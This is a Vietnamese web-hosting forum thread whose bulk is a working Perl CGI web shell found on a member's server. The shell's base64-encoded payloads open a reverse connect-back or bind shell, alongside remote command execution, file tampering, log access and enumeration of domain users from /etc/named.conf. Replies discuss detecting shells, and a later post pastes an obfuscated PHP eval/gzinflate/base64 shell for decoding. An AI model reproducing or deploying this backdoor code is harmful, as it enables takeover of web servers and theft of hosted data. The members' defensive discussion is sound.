     Port: <input type="text" size="7" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>

    <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
    </form>
    </tr>
    <tr>
    <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
    <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
    <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>

    </tr>
    </table>

    <br><br>
    <table>
    <tr>
    <form method="POST" action="$ScriptLocation">
    <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>

    <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">

     Password: <input type="text" size="15" name="bindpass" value="MIsss"></td>
    <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
    </form>
    </tr>
    <tr>
    <td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!
    <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>

    </tr>
    </table><br>
END
}
#------------------------------------------------------------------------------
# Backconnect use perl
#------------------------------------------------------------------------------
sub BackBind
{
    use MIME::Base64;
    use Socket;
    $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
    $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";

    $ClientAddr = $in{'clientaddr'};
    $ClientPort = int($in{'clientport'});
    if($ClientPort eq 0)
    {
        return &BackBindForm;
    }elsif(!$ClientAddr eq "")
    {
        $Data=decode_base64($backperl);
        if(-w "/tmp/")
        {
            $File="/tmp/backconnect.pl";
        }else
        {
            $File=$CurrentDir.$PathSep."backconnect.pl";
        }
        open(FILE, ">$File");
        print FILE $Data;
        close FILE;
        system("perl backconnect.pl $ClientAddr $ClientPort");
        unlink($File);
        exit 0;
    }else
    {
        $Data=decode_base64($bindperl);
        if(-w "/tmp")
        {
            $File="/tmp/bindport.pl";
        }else
        {
            $File=$CurrentDir.$PathSep."bindport.pl";
        }
        open(FILE, ">$File");
        print FILE $Data;
        close FILE;
        system("perl bindport.pl $ClientPort");
        unlink($File);
        exit 0;
    }
}
#------------------------------------------------------------------------------
#  Array List Directory
#------------------------------------------------------------------------------
sub RmDir($)
{
    my $dir = shift;
    if(opendir(DIR,$dir))
    {
        while($file = readdir(DIR))
        {
            if(($file ne ".") && ($file ne ".."))
            {
                $file= $dir.$PathSep.$file;
                if(-d $file)
                {
                    &RmDir($file);
                }
                else
                {
                    unlink($file);
                }
            }
        }
        closedir(DIR);
    }
    if(!rmdir($dir))
    {
     
    }
}
sub FileOwner($)
{
    my $file = shift;
    if(-e $file)
    {
        ($uid,$gid) = (stat($file))[4,5];
        if($WinNT)
        {
            return "???";
        }
        else
        {
            $name=getpwuid($uid);
            $group=getgrgid($gid);
            return $name."/".$group;
        }
    }
    return "???";
}
sub ParentFolder($)
{
    my $path = shift;
    my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
    chop($path = `$Comm`);
    return $path;
}
sub FilePerms($)
{
    my $file = shift;
    my $ur = "-";
    my $uw = "-";
    if(-e $file)
    {
        if($WinNT)
        {
            if(-r $file){ $ur = "r"; }
            if(-w $file){ $uw = "w"; }
            return $ur . " / " . $uw;
        }else
        {
            $mode=(stat($file))[2];
            $result = sprintf("%04o", $mode & 07777);
            return $result;
        }
    }
    return "0000";
}
sub FileLastModified($)
{
    my $file = shift;
    if(-e $file)
    {
        ($la) = (stat($file))[9];
        ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
        $y = $y + 1900;
        @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
        $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
        return $lmtime;
    }
    return "???";
}
sub FileSize($)
{
    my $file = shift;
    if(-f $file)
    {
        return -s $file;
    }
    return "0";

}
sub ParseFileSize($)
{
    my $size = shift;
    if($size <= 1024)
    {
        return $size. " B";
    }
    else
    {
        if($size <= 1024*1024)
        {
            $size = sprintf("%.02f",$size / 1024);
            return $size." KB";
        }
        else
        {
            $size = sprintf("%.2f",$size / 1024 / 1024);
            return $size." MB";
        }
    }
}
sub trim($)
{
    my $string = shift;
    $string =~ s/^\s+//;
    $string =~ s/\s+$//;
    return $string;
}
sub AddSlashes($)
{
    my $string = shift;
    $string=~ s/\\/\\\\/g;
    return $string;
}
sub ListDir
{
    my $path = $CurrentDir.$PathSep;
    $path=~ s/\\\\/\\/g;
    my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
    if(-d $path)
    {
        my @fname = ();
        my @dname = ();
        if(opendir(DIR,$path))
        {
            while($file = readdir(DIR))
            {
                $f=$path.$file;
                if(-d $f)
                {
                    push(@dname,$file);
                }
                else
                {
                    push(@fname,$file);
                }
            }
            closedir(DIR);
        }
        @fname = sort { lc($a) cmp lc($b) } @fname;
        @dname = sort { lc($a) cmp lc($b) } @dname;
        $result .= "<div><table width='90%' class='listdir'>

        <tr style='background-color: #3e3e3e'><th>File Name</th>
        <th style='width:100px;'>File Size</th>
        <th style='width:150px;'>Owner</th>
        <th style='width:100px;'>Permission</th>
        <th style='width:150px;'>Last Modified</th>
        <th style='width:260px;'>Action</th></tr>";
        my $style="line";
        my $i=0;
        foreach my $d (@dname)
        {
            $style= ($style eq "line") ? "notline": "line";
            $d = &trim($d);
            $dirname=$d;
            if($d eq "..")
            {
                $d = &ParentFolder($path);
            }
            elsif($d eq ".")
            {
                $d = $path;
            }
            else
            {
                $d = $path.$d;
            }
            $result .= "<tr class='$style'>

            <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a  href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>";
            $result .= "<td>DIR</td>";
            $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>";
            $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
            $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>";
            $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>";
            $result .= "</tr>";
            $i++;
        }
        foreach my $f (@fname)
        {
            $style= ($style eq "line") ? "notline": "line";
            $file=$f;
            $f = $path.$f;
            $view = "?dir=".$path."&view=".$f;
            $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>";
            $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
            $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>";
            $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
            $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>";
            $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>";
            $result .= "</tr>";
            $i++;
        }
        $result .= "</table></div>";
    }
    return $result;
}
#------------------------------------------------------------------------------
# Try to View List User
#------------------------------------------------------------------------------
sub ViewDomainUser
{
    open (domains, '/etc/named.conf') or $err=1;
    my @cnzs = <domains>;
    close d0mains;
    my $style="line";
    my $result="<h5><font style='font: 15pt Verdana;color: #ff9900;'>Hoang Sa - Truong Sa</font></h5>";
    if ($err)
    {
        $result .=  ('<p>C0uldn\'t Bypass it , Sorry</p>');
        return $result;
    }else
    {
        $result .= '<table><tr><th>Domains</th> <th>User</th></tr>';
    }
    foreach my $one (@cnzs)
    {
        if($one =~ m/.*?zone "(.*?)" {/)
        {
            $style= ($style eq "line") ? "notline": "line";
            $filename= "/etc/valiases/".$one;
            $owner = getpwuid((stat($filename))[4]);
            $result .= '<tr class="$style" width=50%><td>'.$one.' </td><td> '.$owner.'</td></tr>';
        }
    }
    $result .= '</table>';
    return $result;
}
#------------------------------------------------------------------------------
# View Log
#------------------------------------------------------------------------------
sub ViewLog
{
    if($WinNT)
    {
        return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
    }
    my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
    my @pathlog=(
                '/usr/local/apache/logs/error_log',
                '/var/log/httpd/error_log',
                '/usr/local/apache/logs/access_log'
                );
    my $i=0;
    my $perms;
    my $sl;
    foreach my $log (@pathlog)
    {
        if(-w $log)
        {
            $perms="OK";
        }else
        {
            chop($sl = `ln -s $log error_log_$i`);
            if(&trim($ls) eq "")
            {
                if(-r $ls)
                {
                    $perms="OK";
                    $log="error_log_".$i;
                }
            }else
            {
                $perms="<font style='color: red;'>Cancel<font>";
            }
        }
        $result .=<<END;
        <tr>

            <form action="" method="post">
            <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td>
            <td><input class="submit" type="submit" value="Try" /></td>
            <input type="hidden" id="log_$i" name="c" value="less $log"/>
            <input type="hidden" name="a" value="command" />
            <input type="hidden" name="d" value="$CurrentDir" />
            </form>
            <td>$perms</td>

        </tr>
END
        $i++;
    }
    $result .="</table>";
    return $result;
}
#------------------------------------------------------------------------------
# Main Program - Execution Starts Here
#------------------------------------------------------------------------------
&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};
$Action = $in{'a'};

$Action = "command" if($Action eq ""); # no action specified, use default

# get the directory in which the commands will be executed
$CurrentDir = &trim($in{'d'});
# mac dinh xuat thong tin neu ko co lenh nao!
$RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn)         # user needs/has to login
{
    &PerformLogin;
}elsif($Action eq "gui") # GUI directory
{
    &PrintPageHeader;
    if(!$WinNT)
    {
        $chmod=int($in{'chmod'});
        if(!($chmod eq 0))
        {
            $chmod=int($in{'chmod'});
            $file=$CurrentDir.$PathSep.$TransferFile;
            chop($result= `chmod $chmod "$file"`);
            if(&trim($result) eq "")
            {
                print "<run> Done! </run><br>";
            }else
            {
                print "<run> Sorry! You dont have permissions! </run><br>";
            }
        }
    }
    $rename=$in{'rename'};
    if(!$rename eq "")
    {
        if(rename($TransferFile,$rename))
        {
            print "<run> Done! </run><br>";
        }else
        {
            print "<run> Sorry! You dont have permissions! </run><br>";
        }
    }
    $remove=$in{'remove'};
    if($remove ne "")
    {
        $rm = $CurrentDir.$PathSep.$remove;
        if(-d $rm)
        {
            &RmDir($rm);
        }else
        {
            if(unlink($rm))
            {
                print "<run> Done! </run><br>";
            }else
            {
                print "<run> Sorry! You dont have permissions! </run><br>";
            }        
        }
    }
    print &ListDir;

}
elsif($Action eq "command")                     # user wants to run a command
{
    &PrintPageHeader("c");
    print &ExecuteCommand;
}
elsif($Action eq "save")                     # user wants to save a file
{
    &PrintPageHeader;
    if(&SaveFile($in{'data'},$in{'file'}))
    {
        print "<run> Done! </run><br>";
    }else
    {
        print "<run> Sorry! You dont have permissions! </run><br>";
    }
    print &ListDir;
}
elsif($Action eq "upload")                     # user wants to upload a file
{
    &PrintPageHeader;

    print &UploadFile;
}
elsif($Action eq "backbind")                 # user wants to back connect or bind port
{
    &PrintPageHeader("clientport");
    print &BackBind;
}
elsif($Action eq "bruteforcer")             # user wants to brute force
{
    &PrintPageHeader;
    print &BruteForcer;
}elsif($Action eq "download")                 # user wants to download a file
{
    print &DownloadFile;
}elsif($Action eq "checklog")                 # user wants to view log file
{
    &PrintPageHeader;
    print &ViewLog;

}elsif($Action eq "domainsuser")             # user wants to view list user/domain
{
    &PrintPageHeader;
    print &ViewDomainUser;
}elsif($Action eq "logout")                 # user wants to logout
{
    &PerformLogout;
}
&PrintPageFooter;
 
Sửa lần cuối:
  • Like
Reactions: THB

tuna

Sergeant
Tham gia
30/01/2017
Bài viết
639
Được Like
276
Làm sao để biết bị dính shell vậy bác?
 
  • Like
Reactions: THB

THB

Founder
Thành viên BQT
Tham gia
25/02/2015
Bài viết
6,649
Được Like
3,938
cái này bác @vanphu113 vào xem sao? mình chịu thua. hii. Kiến thức có hạn.
 

aviaiva

MasterCorporal
Tham gia
01/03/2016
Bài viết
337
Được Like
276
code quét cứ xuất hiện Base64 thì coi như có shell trong code, nhưng điều đó không phải lúc nào cũng đúng, cái này giờ ai cũng biết rồi nên chỉ có gà mờ nó mới chèn shell kiểu đó.
Nếu trang bạn không mang lại lợi nhuận cho hacker thì nó chả thèm mò vào, trừ phi bạn tự rước nó vào khi sử dụng code bên ngoài, style, mã nguồn chia sẻ lung tung trên mạng.
nói thật tin nhau là chính + nghèo ít tiền nên làm liều, chứ có mấy ai làm forum am hiểu hết về code đâu.
tốt nhất là tìm diễn đàn uy tín kiểu như vnxf để lấy style, addon, mã nguồn xen, nếu có dính phốt thì tỉ lệ cũng thấp hơn mấy trang khác
 
  • Like
Reactions: THB

ngaithon

Corporal
Tham gia
13/02/2017
Bài viết
112
Được Like
23
E
code quét cứ xuất hiện Base64 thì coi như có shell trong code, nhưng điều đó không phải lúc nào cũng đúng, cái này giờ ai cũng biết rồi nên chỉ có gà mờ nó mới chèn shell kiểu đó.
Nếu trang bạn không mang lại lợi nhuận cho hacker thì nó chả thèm mò vào, trừ phi bạn tự rước nó vào khi sử dụng code bên ngoài, style, mã nguồn chia sẻ lung tung trên mạng.
nói thật tin nhau là chính + nghèo ít tiền nên làm liều, chứ có mấy ai làm forum am hiểu hết về code đâu.
tốt nhất là tìm diễn đàn uy tín kiểu như vnxf để lấy style, addon, mã nguồn xen, nếu có dính phốt thì tỉ lệ cũng thấp hơn mấy trang khác
E toàn lấy ở vnxf mà cũng ko biết có bị dính ko nữa.
 
  • Like
Reactions: THB

aviaiva

MasterCorporal
Tham gia
01/03/2016
Bài viết
337
Được Like
276
Quét thế nào vậy bác. Cho e xin cách quét ạ
bác tìm với từ khóa quýet virus cho web, kiếm tra shell trong code ... rồi làm theo, thấy mấy cái cảnh báo màu đỏ hoặc vàng đầy trong code ngay, nhưng mà chả sao hết
 
  • Like
Reactions: THB

xenmax

Private
Tham gia
28/11/2017
Bài viết
48
Được Like
47
cái shell này có thể hacker lợi dụng web bạn để local attack web khác cùng server. Cũng có thể do bạn download addon hoặc style từ các site rác. họ chèn shell vào code share
Pass svn này là shell của tay sinhviennet dùng, tay này trc chuyên hack code rồi bán. Cũng có thể là người khác dùng con shell này nhưng ko đổi pass
 

vanphu113

Moderator
Thành viên BQT
Tham gia
10/11/2016
Bài viết
161
Được Like
103
Shell thì có thể được share tren mạng thôi, dựa vào shell không thể xác định được ai là người dùng đâu bạn.
Ví dụ: shell của hvn cũng được đầy người khác dùng lại nguyên info cũ thôi bạn nhưng không phải do hvn up. Vì thế bạn cần kiểm tra log server hoặc yêu càu bên host kiểm tra nhé. Hosting giờ đa phần là server đều cài cloudlinux nên localattack chắc không có khả năng lắm. Code có bug hoặc dùng code share thôi.
Đôi điều cùng bạn. @THB
 
  • Like
Reactions: THB

dakhucquan.net

MasterCorporal
Tham gia
27/06/2015
Bài viết
336
Được Like
151
Bác nào decode cho e xin với :(, e muốn biết cái mail mà boom chết tổ thằng chèn vào host e :((
Đính kèm dưới, bác nào mò thì kéo về mo, full ctr panel của shelll
Mã:
<?php

eval(gzinflate(base64_decode("ZZJJi9tAFITv8yvM0OCEYUCbtWRogjZrsa3N1noxkSVLsnbJkmX/+nTIJZDbox9dVNX3QHjSWrPe7FZwtS4zY4okZf319vYGXlei4GYsycSCE05+C4EY3M305kIgFImuCdX1xdutYUIwJ/TulDsloe1FCHpxrx4MLGQE352NEAK7lWpcjyGQToTtMLxnCTWhcBYSGlvmWsVeB0EYM1yzkMr9AsErCxwsG4wcgh0epb64g6Bg6umYSAPvhoEw2ywEAxZg/ogZqcjakkZDYJIqafk9BGpMD5qvuNQ4VlgCwbHsZcxQIHgKhKbaE8oS3TNsp+/mOObF2/MIwWPyVIaKZwgqyhpfD+TbN/m6kO7iPTGWAgIrwuqtn+vdxjXnzEG6Dcmlmtf6fLIpIWiXPmx4sZczFQJdrYR7s/MleD7vNUM+nyFcfVIk8YHjzAeJc6ufq/jXmNLUOUkvbZJ+ew/r7Ss6hVhAOFVIcGVkQ/j+ffVjtVY4gh9LX8uWC2IDhvoeNPKIKuCpIO5CFOwSudaJM20flSfo02Y+Xe/7G4+6X1qZ9+jhOUBwS43DYsmp8jCLI/pdJXbv7GlqmfjgUqoeQrdlu7xHyXSn4g35CoFyNFu9HtFTQGg5/XhCkDa38EjgXtLleIsWvswqZL21HxCMOyHIxcN4oP/QTvT6oKdDqk9I+uZq9uxJZRVwXoPKcrzJ2XJFxKAzqBz38VpCbtY0PYoWZLXDbAmFRqUnh1a1BSLEXURte3lNzbOnIzQPFa3KOSPerskNgivT+l6hQxA/o4t1yvbBFt1M5mlGWxL+IOvs5V8S7GbziW8o9oPm2P9JRGTXxXU0hoFT/SUwH5HRUqM9N3+sv34D")));
eval($PdMoHQB2Y1Uo($qCLHMN0Y7BWUvNY("DdBHjptQAADQfY4RZTEjFqb7oygLMN1003f0Yj69mdNnTvCkV+xJ9/WnvA+B36hff47Nl+9kun/95jNC7aBhsyxvlyEj9T7lyfba1oY+t1QjQ0VbqiHvxbd1MD5BcJ97Fm4EQZzWQOOe1izBUhfI7Y03U/dG3/75ECGFgRLtqTaj4el4witj51BSSD4aGcw/pKs+nz5yakeoK6jUnCdETzWeOR0PSaWnXzweJ1L/9DNBj0X6GNQ2Y7pOLKIUIOCtdLkag3Z4mM+rDlkJ10/2JqXcrV3kwHKuyMkXrBVA0fneLvWoG4xi5HBYpKQf/85VIewItL0LJq/GV4EUEOY959eyF5AJR3Dd5ncLl84jCuyrH4ZHpV58QvnND907CCJGfgcx31fqGmr1uerUQamb4UWvNMRn2g1z7ELGuUnLAMUsDgfKkm6j9pqTOXXPPKX0GnXuYjXtigdHMWyZPWNDwhJ1NeYmlqpSOGjTAlJWnVooMJcobC+7MhdaRolVtiT+SobPrBnHej3i50B3+WWUoxJ7V6vEWUQDpJaija6nUi1yirXL1YMXyCqsnhO0K+DLculF8Y6HsLkzQTycCblz8hmYk4FxyBt52I0tljyXV8I5dLXQ1mbyEBMxjEhZp831ZSsSduY34A8dJLrx9I2Ly3Y3ICmFcjD3eCeXYxgcKS696I6ayeipax7RLRBAkC14UaoxMUjHlixX9Xxmit7w8W1SewDGR02YkFp+xmviqaaYXNER2QCnT0/uHs/v+MNCrqAAFfOXuhjdBqRRCmt7tQx2ZoViyKK9ygRvoD45uEMIpxUjcOy2boElKDcPNWnEPVQXPdMzlsbVqIajYaZyMV/DhzgzEs/3zk2dfHNGA0q5Le8IQ9qlRWqoBpC9p5Cy7K3j37/f39/ff3/9Bw==")));
eval($sKBXhCMsM6b($QoDm1Jb("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